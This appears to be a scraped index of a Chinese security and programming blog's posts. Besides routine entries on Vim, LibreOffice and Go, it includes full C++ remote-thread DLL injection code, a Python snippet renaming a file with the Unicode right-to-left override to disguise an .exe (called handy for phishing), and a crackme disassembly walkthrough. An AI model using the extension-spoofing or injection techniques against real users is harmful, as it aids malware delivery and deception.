大小的连续数组依然是个不大可能的事情,但是\u0026hellip;\u0026hellip;\u0026hellip;.\u003c/p\u003e\n\u003cp\u003e“640K内存对于任何人来说都足够了”\u0026mdash;-比尔盖茨\u003c/p\u003e\n\u003cp\u003e链接：https://www.zhihu.com/question/24773728/answer/28920149\u003c/p\u003e","title":"size_t和unsigned int区别"},{"content":"在用户目录下C:\\Users\\Administrator\\新建vim配置文件夹vimfiles，然后该文件下建立一个文件vimrc\nvimrc内容：\n1 set pythonthreedll=python36.dll 但是前提是你的Python文件夹在环境变量PATH内\n比如\n我装的gvim是的32位的，那么python也需要是32位 环境变量配置PATH中存在Python36的安装目录\n","permalink":"https://www.hacktech.cn/post/2017/11/gvim-not-support-python3.6-on-win/","summary":"\u003cp\u003e在用户目录下C:\\Users\\Administrator\\新建vim配置文件夹vimfiles，然后该文件下建立一个文件vimrc\u003c/p\u003e\n\u003cp\u003evimrc内容：\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\n\u003ctable style=\"border-spacing:0;padding:0;margin:0;border:0;\"\u003e\u003ctr\u003e\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e1\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;;width:100%\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eset pythonthreedll=python36.dll\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003cp\u003e但是前提是你的Python文件夹在环境变量PATH内\u003c/p\u003e\n\u003cp\u003e比如\u003c/p\u003e\n\u003cp\u003e我装的gvim是的32位的，那么python也需要是32位\n环境变量配置PATH中存在Python36的安装目录\u003c/p\u003e","title":"windows下使用gvim不支持python3.6问题解决"},{"content":"我在家里一般是使用Ubuntu，学校这个网络需要e信拨号，还是只能用Windows主用，以前我在Ubuntu一直使用的是LibreOffice，这次看见学校电脑很乱了就重装了系统，MSOffice真的是懒得找和谐安装了，就用了用LibreOffice\n说实话，体验并不是很好，打开Word，Excel，PPT，只要是文件稍微大一点就需要等待很长时间打开，原生格式ODF（Open Document Format）表现要好点，不过体验和简洁度上我还是觉得LibreOffice比较好\n","permalink":"https://www.hacktech.cn/post/2017/11/experience-with-libreoffice-on-windows/","summary":"\u003cp\u003e我在家里一般是使用Ubuntu，学校这个网络需要e信拨号，还是只能用Windows主用，以前我在Ubuntu一直使用的是LibreOffice，这次看见学校电脑很乱了就重装了系统，MSOffice真的是懒得找和谐安装了，就用了用LibreOffice\u003c/p\u003e\n\u003cp\u003e说实话，体验并不是很好，打开Word，Excel，PPT，只要是文件稍微大一点就需要等待很长时间打开，原生格式ODF（Open Document Format）表现要好点，不过体验和简洁度上我还是觉得LibreOffice比较好\u003c/p\u003e","title":"windows下使用LibreOffice的体验"},{"content":"关于e信“正常情况下”使用路由器网上是有方法的，入户线插上lan，电脑接lan拨号 我想要说的是连接e信后使用路由器上网，并且是绝对正常的思维\n手机也是可以连接上wifi，但是手机上连接wifi后的ip地址不是我们的路由器分配和路由器网关，我们改掉，使手机与电脑处于同一网关 然后电脑开ssserver（这玩意是什么不用我多说，其实你也可以电脑搭建http proxy server（比如使用cow），然后手机连接wifi设置直接通过代理，但是对于纯tcp和udp就无能为力了） 手机连接电脑ssserver，可以上网了，通过开debug模式可以发现走的是电脑ssserver上网 具体的小白详细教程做法看心情和时间吧\n","permalink":"https://www.hacktech.cn/post/2017/11/exin-ssserver/","summary":"\u003cp\u003e关于e信“正常情况下”使用路由器网上是有方法的，入户线插上lan，电脑接lan拨号\n我想要说的是连接e信后使用路由器上网，并且是绝对正常的思维\u003c/p\u003e","title":"e信与酸酸结合开wifi使用路由器上网"},{"content":"突然想起来自己以前写的，golang写的一个简易的json解析器，分享一下\n安装 1 go get github.com/akkuman/parseConfig 使用说明 环境假设 1 2 3 . ├── config.go ├── config.json config.json内容\n1 2 3 4 5 6 7 8 { \u0026#34;name\u0026#34; : \u0026#34;akkuman\u0026#34;, \u0026#34;urls\u0026#34; : [\u0026#34;xx.com\u0026#34;,\u0026#34;ww.com\u0026#34;], \u0026#34;info\u0026#34; : { \u0026#34;qq\u0026#34; : \u0026#34;123456\u0026#34;, \u0026#34;weixin\u0026#34;: \u0026#34;123456\u0026#34; } } 该库取出来的都是类型为interface{}的数据，如需取出具体类型的数据需要自己加断言\n当取嵌套map数据的时候，以“ \u0026gt; ”指定下一级，注意\u0026gt;两边均有空格，具体见下面的例子\n例子 config.go内容\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 package main import ( \u0026#34;github.com/akkuman/parseConfig\u0026#34; ) func main() { var config = parseConfig.New(\u0026#34;config.json\u0026#34;) // 此为interface{}格式数据 var name = config.Get(\u0026#34;name\u0026#34;) // 断言 var nameString = name.(string) // 取数组 var urls = config.Get(\u0026#34;urls\u0026#34;).([]interface{}) var urlsString []string for _,v := range urls { urlsString = append(urlsString, v.(string)) } // 取嵌套map内数据 var qq = config.Get(\u0026#34;info \u0026gt; qq\u0026#34;).(\u0026#34;string\u0026#34;) var weixin = config.Get(\u0026#34;info \u0026gt; weixin\u0026#34;).(\u0026#34;string\u0026#34;) } ","permalink":"https://www.hacktech.cn/post/2017/10/go-parse-json-config-file/","summary":"\u003cp\u003e突然想起来自己以前写的，golang写的一个简易的json解析器，分享一下\u003c/p\u003e\n\u003ch2 id=\"安装\"\u003e安装\u003c/h2\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\n\u003ctable style=\"border-spacing:0;padding:0;margin:0;border:0;\"\u003e\u003ctr\u003e\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e1\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;;width:100%\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-golang\" data-lang=\"golang\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003ego\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eget\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003egithub\u003c/span\u003e.\u003cspan style=\"color:#a6e22e\"\u003ecom\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003e\u003cspan style=\"color:#a6e22e\"\u003eakkuman\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003e\u003cspan style=\"color:#a6e22e\"\u003eparseConfig\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003ch2 id=\"使用说明\"\u003e使用说明\u003c/h2\u003e","title":"golang解析json配置文件"},{"content":"talk is cheap,show me code 代码有详细注释，文章底部提示了一些坑\n主程序 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 #include \u0026#34;stdafx.h\u0026#34; #include \u0026lt;windows.h\u0026gt; #include \u0026lt;iostream\u0026gt; #include \u0026lt;tlhelp32.h\u0026gt; #include \u0026lt;tchar.h\u0026gt; using namespace std; int EnableDebugPriv(char* name) { HANDLE hToken; TOKEN_PRIVILEGES tp; LUID luid; //打开进程令牌环 OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, \u0026amp;hToken); //获得进程本地唯一ID LookupPrivilegeValue(NULL, name, \u0026amp;luid); tp.PrivilegeCount = 1; tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; tp.Privileges[0].Luid = luid; //调整权限 AdjustTokenPrivileges(hToken, 0, \u0026amp;tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL); return 0; } //***************************************************************************************************************************** BOOL InjectDll(LPCSTR DllFullPath, const DWORD dwRemoteProcessId) { // 提升权限(必须管理员身份) EnableDebugPriv(SE_DEBUG_NAME); //打开远程线程 HANDLE hRemoteProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwRemoteProcessId); if (hRemoteProcess == NULL) { cout \u0026lt;\u0026lt; \u0026#34;Error: OpenProcess failed!\\n\u0026#34; \u0026lt;\u0026lt; endl; return FALSE; } //使用VirtualAllocEx函数在远程进程的内存地址空间分配DLL文件名空间 LPVOID pszLibFileRemote = VirtualAllocEx(hRemoteProcess, NULL, lstrlen(DllFullPath) + 1, MEM_COMMIT, PAGE_READWRITE); if (pszLibFileRemote == NULL) { CloseHandle(hRemoteProcess); cout \u0026lt;\u0026lt; \u0026#34;Error: VirtualAllocEx failed!\\n\u0026#34; \u0026lt;\u0026lt; endl; return FALSE; } //使用WriteProcessMemory函数将DLL的路径名写入到远程进程的内存空间 if (!WriteProcessMemory(hRemoteProcess, pszLibFileRemote, DllFullPath, lstrlen(DllFullPath) + 1, NULL)) { CloseHandle(hRemoteProcess); cout \u0026lt;\u0026lt; \u0026#34;Error: WriteProcessMemory failed!\\n\u0026#34; \u0026lt;\u0026lt; endl; return FALSE; } //启动远程线程LoadLibraryA，通过远程线程调用创建新的线程 HANDLE hRemoteThread; if ((hRemoteThread = CreateRemoteThread(hRemoteProcess, NULL, 0, (LPTHREAD_START_ROUTINE)LoadLibraryA, pszLibFileRemote, 0, NULL)) == NULL) { CloseHandle(hRemoteProcess); cout \u0026lt;\u0026lt; \u0026#34;Error: the remote thread could not be created.\\n\u0026#34; \u0026lt;\u0026lt; endl; return FALSE; } else { // 等待线程退出 要设置超时 以免远程线程挂起导致程序无响应 //WaitForSingleObject(hRemoteThread, 10000); // 如果等待线程 DLL中的DllMain不要写MessageBox cout \u0026lt;\u0026lt; \u0026#34;Success: the remote thread was successfully created.\\n\u0026#34; \u0026lt;\u0026lt; endl; } // 释放句柄 CloseHandle(hRemoteProcess); CloseHandle(hRemoteThread); return TRUE; } // 根据进程名称获取进程ID DWORD FindTarget(LPCSTR lpszProcess) { DWORD dwRet = 0; HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); PROCESSENTRY32 pe32; pe32.dwSize = sizeof(PROCESSENTRY32 ); Process32First(hSnapshot, \u0026amp;pe32 ); do { if (lstrcmpi(pe32.szExeFile, lpszProcess) == 0) { dwRet = pe32.th32ProcessID; break; } } while (Process32Next(hSnapshot, \u0026amp;pe32)); CloseHandle(hSnapshot); return dwRet; } //***************************************************************************************************************************** int main() { DWORD id = FindTarget((LPCSTR)\u0026#34;calc.exe\u0026#34;); cout \u0026lt;\u0026lt; id \u0026lt;\u0026lt; endl; // 获取可执行文件所在目录 TCHAR szFilePath[MAX_PATH + 1]; GetModuleFileName(NULL, szFilePath, MAX_PATH); *(_tcsrchr(szFilePath, \u0026#39;\\\\\u0026#39;)) = 0; _tcscat_s(szFilePath, sizeof(szFilePath), \u0026#34;\\\\dll.dll\u0026#34;); cout \u0026lt;\u0026lt; szFilePath \u0026lt;\u0026lt; endl; InjectDll(szFilePath, id);//这个数字是你想注入的进程的ID号 return 0; } dllmain 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 // dllmain.cpp : 定义 DLL 应用程序的入口点。 #include \u0026#34;stdafx.h\u0026#34; #include \u0026lt;iostream\u0026gt; using namespace std; BOOL APIENTRY DllMain(HINSTANCE hInst /* Library instance handle. */, DWORD reason /* Reason this function is being called. */, LPVOID reserved /* Not used. */) { switch (reason) { case DLL_PROCESS_ATTACH: //当这个DLL被映射到了进程的地址空间时 MessageBox(0, TEXT(\u0026#34;From DLL\\n\u0026#34;), TEXT(\u0026#34;Process Attach\u0026#34;), MB_ICONINFORMATION); cout \u0026lt;\u0026lt; \u0026#34;Process Attach\u0026#34; \u0026lt;\u0026lt; endl; break; case DLL_PROCESS_DETACH: //这个DLL从进程的地址空间中解除映射 MessageBox(0, TEXT(\u0026#34;From DLL\\n\u0026#34;), TEXT(\u0026#34;Process Detach\u0026#34;), MB_ICONINFORMATION); cout \u0026lt;\u0026lt; \u0026#34;Process Detach\u0026#34; \u0026lt;\u0026lt; endl; break; case DLL_THREAD_ATTACH: //一个线程正在被创建 MessageBox(0, TEXT(\u0026#34;From DLL\\n\u0026#34;), TEXT(\u0026#34;Thread Attach\u0026#34;), MB_ICONINFORMATION); cout \u0026lt;\u0026lt; \u0026#34;Thread Attach\u0026#34; \u0026lt;\u0026lt; endl; break; case DLL_THREAD_DETACH: //线程终结 MessageBox(0, TEXT(\u0026#34;From DLL\\n\u0026#34;), TEXT(\u0026#34;Thread Detach\u0026#34;), MB_ICONINFORMATION); cout \u0026lt;\u0026lt; \u0026#34;Thread Detach\u0026#34; \u0026lt;\u0026lt; endl; break; } return TRUE; } 需要注意的地方 环境是vs，字符集是多字节 这份代码中的hRemoteThread = CreateRemoteThread(hRemoteProcess, NULL, 0, (LPTHREAD_START_ROUTINE)LoadLibraryA, pszLibFileRemote, 0, NULL)中的也可采用GetProcAddress函数 这份代码并不是通用注入代码（如果需要通用需要自行解析pe头结构从中取出kernel32.dll的GetProcAddress地址）,所以64位windows上需要把vs设置为编译x64 ","permalink":"https://www.hacktech.cn/post/2017/10/dll-injection-into-the-specified-process/","summary":"\u003cp\u003etalk is cheap,show me code\n代码有详细注释，文章底部提示了一些坑\u003c/p\u003e","title":"dll注入到指定进程"},{"content":"这个技术虽然老掉牙，但在网络钓鱼中非常好用\n目录结构 1 2 1.py rc_srceen.exe py文件内容 1 2 3 import os name = \u0026#34;\\u202Excod.exe\u0026#34; os.rename(os.path.join(os.getcwd(),\u0026#39;re_screen.exe\u0026#39;),os.path.join(os.getcwd(),\u0026#34;re_screen\u0026#34;+name)) 执行后 原理 Unicode包含若干个特殊字符串，允许在正常情况下从左到右的文本中插入从右到左的文字.其中一个右到左覆写字符串就是“U+202E” 详见千万小心从右向左覆盖技术 恶意软件经常用这个方法骗用户\n","permalink":"https://www.hacktech.cn/post/2017/10/trick-extension-name-with-right-to-left-override/","summary":"\u003cp\u003e这个技术虽然老掉牙，但在网络钓鱼中非常好用\u003c/p\u003e","title":"从右向左覆盖实现恶意软件扩展名欺骗"},{"content":"基于LeanCloud的文章阅读次数统计插件 https://github.com/Weic96/LeanStatistics.js\n基于LeanCloud的文章评论 https://github.com/xCss/Valine\n","permalink":"https://www.hacktech.cn/post/2017/10/static-blog-reading-count-and-comment-solution/","summary":"\u003cp\u003e基于LeanCloud的文章阅读次数统计插件\n\u003ca href=\"https://github.com/Weic96/LeanStatistics.js\"\u003ehttps://github.com/Weic96/LeanStatistics.js\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e基于LeanCloud的文章评论\n\u003ca href=\"https://github.com/xCss/Valine\"\u003ehttps://github.com/xCss/Valine\u003c/a\u003e\u003c/p\u003e","title":"静态博客阅读次数与评论解决方案"},{"content":"只说一个，是八进制,下面是解码脚本 环境python3\n```python # -*-coding:utf-8-*- # Author: Akkuman # Blog: www.hacktech.cn Tust4You的问题是八进制,所以八进制转ascii即可 解码问题 print(\u0026ldquo;Please input the code what you see on register\u0026rsquo;s page of Tust 4 You:\u0026rdquo;) encode_code = input() encode_list = encode_code.split() print(\u0026quot;\\nthe question is\\n\u0026quot;) for i in encode_list: i = int(i,8) print(chr(i), end=\u0026quot;\u0026quot;)\n","permalink":"https://www.hacktech.cn/post/2017/09/tuts4you-register/","summary":"\u003cp\u003e只说一个，是八进制,下面是解码脚本\n环境python3\u003c/p\u003e","title":"Tuts4you注册问题解码"},{"content":"说实话，今天被自己蠢哭了\n因为看多了一个字符，以为是输入字符变形后的base64编码，也怪自己没大致看过base64汇编形式，把base64跟完了用py实现完算法才意思到是base64，这是题外话\n本人初学者，两天或一天一个cm练练，大家可以与我交流akkumans@qq.com，我博客\n上面的题外话就是今天搞的一个cm，被自己蠢哭了，不过也算是base64编码流程无比清晰了，不算是无用功\n这个cm是一个控制台的，丢到xp无法运行，本机只装了x64dbg(x32dbg)，用这个调试软件来试试吧\n1 2 3 C:\\Users\\Administrator\\Desktop\u0026gt;reverse3.exe Please enter the flag:97103012 wrong input 字符串搜索，找到判断的地方\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 01241269 | 85 C0 | test eax,eax | zf=1 =\u0026gt; eax=0 0124126B | 75 07 | jne reverse3.1241274 | 0124126D | 68 78 21 24 01 | push reverse3.1242178 | 1242178:\u0026#34;this is the right flag\u0026#34; 01241272 | EB 05 | jmp reverse3.1241279 | 01241274 | 68 90 21 24 01 | push reverse3.1242190 | 1242190:\u0026#34;wrong input\u0026#34; 01241279 | FF 15 B0 20 24 01 | call dword ptr ds:[\u0026lt;\u0026amp;puts\u0026gt;] | 0124127F | 8B 4D FC | mov ecx,dword ptr ss:[ebp-4] | 01241282 | 83 C4 04 | add esp,4 | 01241285 | 33 CD | xor ecx,ebp | 01241287 | 33 C0 | xor eax,eax | eax:\u0026#34;OTacMDMzMTI=\u0026#34; 01241289 | E8 92 00 00 00 | call reverse3.1241320 | 0124128E | 8B E5 | mov esp,ebp | 01241290 | 5D | pop ebp | 01241291 | C3 | ret | 可以看到要得到flag，jne就不能跳，也就是test eax,eax后的ZF=1，也就是eax=0\n那这个eax=0从何而来？我们接着往上看\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 012411A0 | 55 | push ebp | 012411A1 | 8B EC | mov ebp,esp | 012411A3 | 83 EC 44 | sub esp,44 | 012411A6 | A1 04 30 24 01 | mov eax,dword ptr ds:[1243004] | eax:\u0026#34;OTacMDMzMTI=\u0026#34; 012411AB | 33 C5 | xor eax,ebp | 012411AD | 89 45 FC | mov dword ptr ss:[ebp-4],eax | 012411B0 | 0F 57 C0 | xorps xmm0,xmm0 | 012411B3 | C7 45 F8 00 00 00 00 | mov dword ptr ss:[ebp-8],0 | 012411BA | 68 58 21 24 01 | push reverse3.1242158 | 1242158:\u0026#34;Please enter the flag:\u0026#34; 012411BF | 0F 11 45 E8 | movups xmmword ptr ss:[ebp-18],xmm0 | 012411C3 | 0F 11 45 C0 | movups xmmword ptr ss:[ebp-40],xmm0 | 012411C7 | 0F 11 45 D0 | movups xmmword ptr ss:[ebp-30],xmm0 | 012411CB | 66 0F D6 45 E0 | movq qword ptr ss:[ebp-20],xmm0 | 012411D0 | E8 1B 01 00 00 | call reverse3.12412F0 | 012411D5 | 8D 45 E8 | lea eax,dword ptr ss:[ebp-18] | 012411D8 | 50 | push eax | eax:\u0026#34;OTacMDMzMTI=\u0026#34; 012411D9 | 68 70 21 24 01 | push reverse3.1242170 | 1242170:\u0026#34;%20s\u0026#34; 012411DE | E8 CD 00 00 00 | call reverse3.12412B0 | 012411E3 | 8D 4D E8 | lea ecx,dword ptr ss:[ebp-18] | 你的输入 -\u0026gt; ecx 012411E6 | 83 C4 0C | add esp,C | 012411E9 | 8D 51 01 | lea edx,dword ptr ds:[ecx+1] | 你的输入减第一个字节 -\u0026gt; edx 012411EC | 0F 1F 40 00 | nop dword ptr ds:[eax] | eax:\u0026#34;OTacMDMzMTI=\u0026#34; 012411F0 | 8A 01 | mov al,byte ptr ds:[ecx] | 012411F2 | 41 | inc ecx | 012411F3 | 84 C0 | test al,al | 012411F5 | 75 F9 | jne reverse3.12411F0 | 012411F7 | 2B CA | sub ecx,edx | 你的输入的长度 -\u0026gt; ecx 012411F9 | 8D 55 E8 | lea edx,dword ptr ss:[ebp-18] | 输入 -\u0026gt; edx 012411FC | 56 | push esi | esi:\u0026#34;TacMDMzMTI=\u0026#34; 012411FD | 51 | push ecx | 012411FE | 51 | push ecx | 012411FF | 8D 4D C0 | lea ecx,dword ptr ss:[ebp-40] | 01241202 | E8 F9 FD FF FF | call reverse3.1241000 | base64(你的输入) -\u0026gt; [ebp - 0x40] 01241207 | 8D 4D C0 | lea ecx,dword ptr ss:[ebp-40] | 0124120A | 83 C4 08 | add esp,8 | 0124120D | 33 D2 | xor edx,edx | 0124120F | 8D 71 01 | lea esi,dword ptr ds:[ecx+1] | esi:\u0026#34;TacMDMzMTI=\u0026#34; 01241212 | 8A 01 | mov al,byte ptr ds:[ecx] | 01241214 | 41 | inc ecx | 01241215 | 84 C0 | test al,al | 01241217 | 75 F9 | jne reverse3.1241212 | 01241219 | 2B CE | sub ecx,esi | 长度（base64你的输入） -\u0026gt; ecx 0124121B | 74 37 | je reverse3.1241254 | 0124121D | 0F 1F 00 | nop dword ptr ds:[eax] | eax:\u0026#34;OTacMDMzMTI=\u0026#34; 01241220 | 8A 4C 15 C0 | mov cl,byte ptr ss:[ebp+edx-40] | 01241224 | 33 C0 | xor eax,eax | eax:\u0026#34;OTacMDMzMTI=\u0026#34; 01241226 | 3A 88 08 21 24 01 | cmp cl,byte ptr ds:[eax+1242108] | 0124122C | 74 08 | je reverse3.1241236 | 0124122E | 40 | inc eax | eax:\u0026#34;OTacMDMzMTI=\u0026#34; 0124122F | 83 F8 1A | cmp eax,1A | eax:\u0026#34;OTacMDMzMTI=\u0026#34; 01241232 | 72 F2 | jb reverse3.1241226 | 01241234 | EB 0A | jmp reverse3.1241240 | 01241236 | 8A 80 24 21 24 01 | mov al,byte ptr ds:[eax+1242124] | 0124123C | 88 44 15 C0 | mov byte ptr ss:[ebp+edx-40],al | 01241240 | 8D 4D C0 | lea ecx,dword ptr ss:[ebp-40] | 01241243 | 42 | inc edx | 01241244 | 8D 71 01 | lea esi,dword ptr ds:[ecx+1] | esi:\u0026#34;TacMDMzMTI=\u0026#34; 01241247 | 8A 01 | mov al,byte ptr ds:[ecx] | 01241249 | 41 | inc ecx | 0124124A | 84 C0 | test al,al | 0124124C | 75 F9 | jne reverse3.1241247 | 0124124E | 2B CE | sub ecx,esi | esi:\u0026#34;TacMDMzMTI=\u0026#34; 01241250 | 3B D1 | cmp edx,ecx | 01241252 | 72 CC | jb reverse3.1241220 | 01241254 | 6A 14 | push 14 | 01241256 | 8D 45 C0 | lea eax,dword ptr ss:[ebp-40] | 01241259 | 68 40 21 24 01 | push reverse3.1242140 | 1242140:\u0026#34;o2Ffx3V0OjJtYW5spQ==\u0026#34; 0124125E | 50 | push eax | eax:\u0026#34;OTacMDMzMTI=\u0026#34; 0124125F | FF 15 C4 20 24 01 | call dword ptr ds:[\u0026lt;\u0026amp;strncmp\u0026gt;] | 经过处理的base64与内置base64值比较，相等=\u0026gt;eax=0 01241265 | 83 C4 0C | add esp,C | 01241268 | 5E | pop esi | esi:\u0026#34;TacMDMzMTI=\u0026#34; 01241269 | 85 C0 | test eax,eax | zf=1 =\u0026gt; eax=0 0124126B | 75 07 | jne reverse3.1241274 | 0124126D | 68 78 21 24 01 | push reverse3.1242178 | 1242178:\u0026#34;this is the right flag\u0026#34; 01241272 | EB 05 | jmp reverse3.1241279 | 01241274 | 68 90 21 24 01 | push reverse3.1242190 | 1242190:\u0026#34;wrong input\u0026#34; 01241279 | FF 15 B0 20 24 01 | call dword ptr ds:[\u0026lt;\u0026amp;puts\u0026gt;] | 0124127F | 8B 4D FC | mov ecx,dword ptr ss:[ebp-4] | 01241282 | 83 C4 04 | add esp,4 | 01241285 | 33 CD | xor ecx,ebp | 01241287 | 33 C0 | xor eax,eax | eax:\u0026#34;OTacMDMzMTI=\u0026#34; 01241289 | E8 92 00 00 00 | call reverse3.1241320 | 0124128E | 8B E5 | mov esp,ebp | 01241290 | 5D | pop ebp | 01241291 | C3 | ret | 看来是这几行做了手脚，压入了两个参数\n1 2 3 01241259 | 68 40 21 24 01 | push reverse3.1242140 | 1242140:\u0026#34;o2Ffx3V0OjJtYW5spQ==\u0026#34; 0124125E | 50 | push eax | eax:\u0026#34;OTacMDMzMTI=\u0026#34; 0124125F | FF 15 C4 20 24 01 | call dword ptr ds:[\u0026lt;\u0026amp;strncmp\u0026gt;] | 经过处理的base64与内置base64值比较，相等=\u0026gt;eax=0 我们跟这个call进去看看\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 6C2F8C30 | 53 | push ebx | 6C2F8C31 | 56 | push esi | esi:\u0026#34;TacMDMzMTI=\u0026#34; 6C2F8C32 | 8B 4C 24 0C | mov ecx,dword ptr ss:[esp+C] | 我们输入的base64变形后的值 6C2F8C36 | 8B 54 24 10 | mov edx,dword ptr ss:[esp+10] | 内置base64值 6C2F8C3A | 8B 5C 24 14 | mov ebx,dword ptr ss:[esp+14] | 6C2F8C3E | F7 C3 FF FF FF FF | test ebx,FFFFFFFF | 6C2F8C44 | 74 50 | je ucrtbase.6C2F8C96 | 6C2F8C46 | 2B CA | sub ecx,edx | 6C2F8C48 | F7 C2 03 00 00 00 | test edx,3 | 6C2F8C4E | 74 17 | je ucrtbase.6C2F8C67 | 6C2F8C50 | 0F B6 04 0A | movzx eax,byte ptr ds:[edx+ecx] | edx+ecx*1:\u0026#34;OTacMDMzMTI=\u0026#34; 6C2F8C54 | 3A 02 | cmp al,byte ptr ds:[edx] | 6C2F8C56 | 75 48 | jne ucrtbase.6C2F8CA0 | 6C2F8C58 | 85 C0 | test eax,eax | eax:\u0026#34;OTacMDMzMTI=\u0026#34; 6C2F8C5A | 74 3A | je ucrtbase.6C2F8C96 | 6C2F8C5C | 42 | inc edx | 6C2F8C5D | 83 EB 01 | sub ebx,1 | 6C2F8C60 | 76 34 | jbe ucrtbase.6C2F8C96 | 6C2F8C62 | F6 C2 03 | test dl,3 | 6C2F8C65 | 75 E9 | jne ucrtbase.6C2F8C50 | 6C2F8C67 | 8D 04 0A | lea eax,dword ptr ds:[edx+ecx] | eax:\u0026#34;OTacMDMzMTI=\u0026#34; 6C2F8C6A | 25 FF 0F 00 00 | and eax,FFF | eax:\u0026#34;OTacMDMzMTI=\u0026#34; 6C2F8C6F | 3D FC 0F 00 00 | cmp eax,FFC | eax:\u0026#34;OTacMDMzMTI=\u0026#34; 6C2F8C74 | 77 DA | ja ucrtbase.6C2F8C50 | 6C2F8C76 | 8B 04 0A | mov eax,dword ptr ds:[edx+ecx] | eax:\u0026#34;OTacMDMzMTI=\u0026#34; 6C2F8C79 | 3B 02 | cmp eax,dword ptr ds:[edx] | eax:\u0026#34;OTacMDMzMTI=\u0026#34; 6C2F8C7B | 75 D3 | jne ucrtbase.6C2F8C50 | 6C2F8C7D | 83 EB 04 | sub ebx,4 | 6C2F8C80 | 76 14 | jbe ucrtbase.6C2F8C96 | 6C2F8C82 | 8D B0 FF FE FE FE | lea esi,dword ptr ds:[eax-1010101] | esi:\u0026#34;TacMDMzMTI=\u0026#34; 6C2F8C88 | 83 C2 04 | add edx,4 | 6C2F8C8B | F7 D0 | not eax | eax:\u0026#34;OTacMDMzMTI=\u0026#34; 6C2F8C8D | 23 C6 | and eax,esi | eax:\u0026#34;OTacMDMzMTI=\u0026#34;, esi:\u0026#34;TacMDMzMTI=\u0026#34; 6C2F8C8F | A9 80 80 80 80 | test eax,80808080 | eax:\u0026#34;OTacMDMzMTI=\u0026#34; 6C2F8C94 | 74 D1 | je ucrtbase.6C2F8C67 | 6C2F8C96 | 33 C0 | xor eax,eax | eax:\u0026#34;OTacMDMzMTI=\u0026#34; 6C2F8C98 | 5E | pop esi | esi:\u0026#34;TacMDMzMTI=\u0026#34; 6C2F8C99 | 5B | pop ebx | 6C2F8C9A | C3 | ret | 6C2F8C9B | EB 03 | jmp ucrtbase.6C2F8CA0 | 6C2F8C9D | CC | int3 | 6C2F8C9E | CC | int3 | 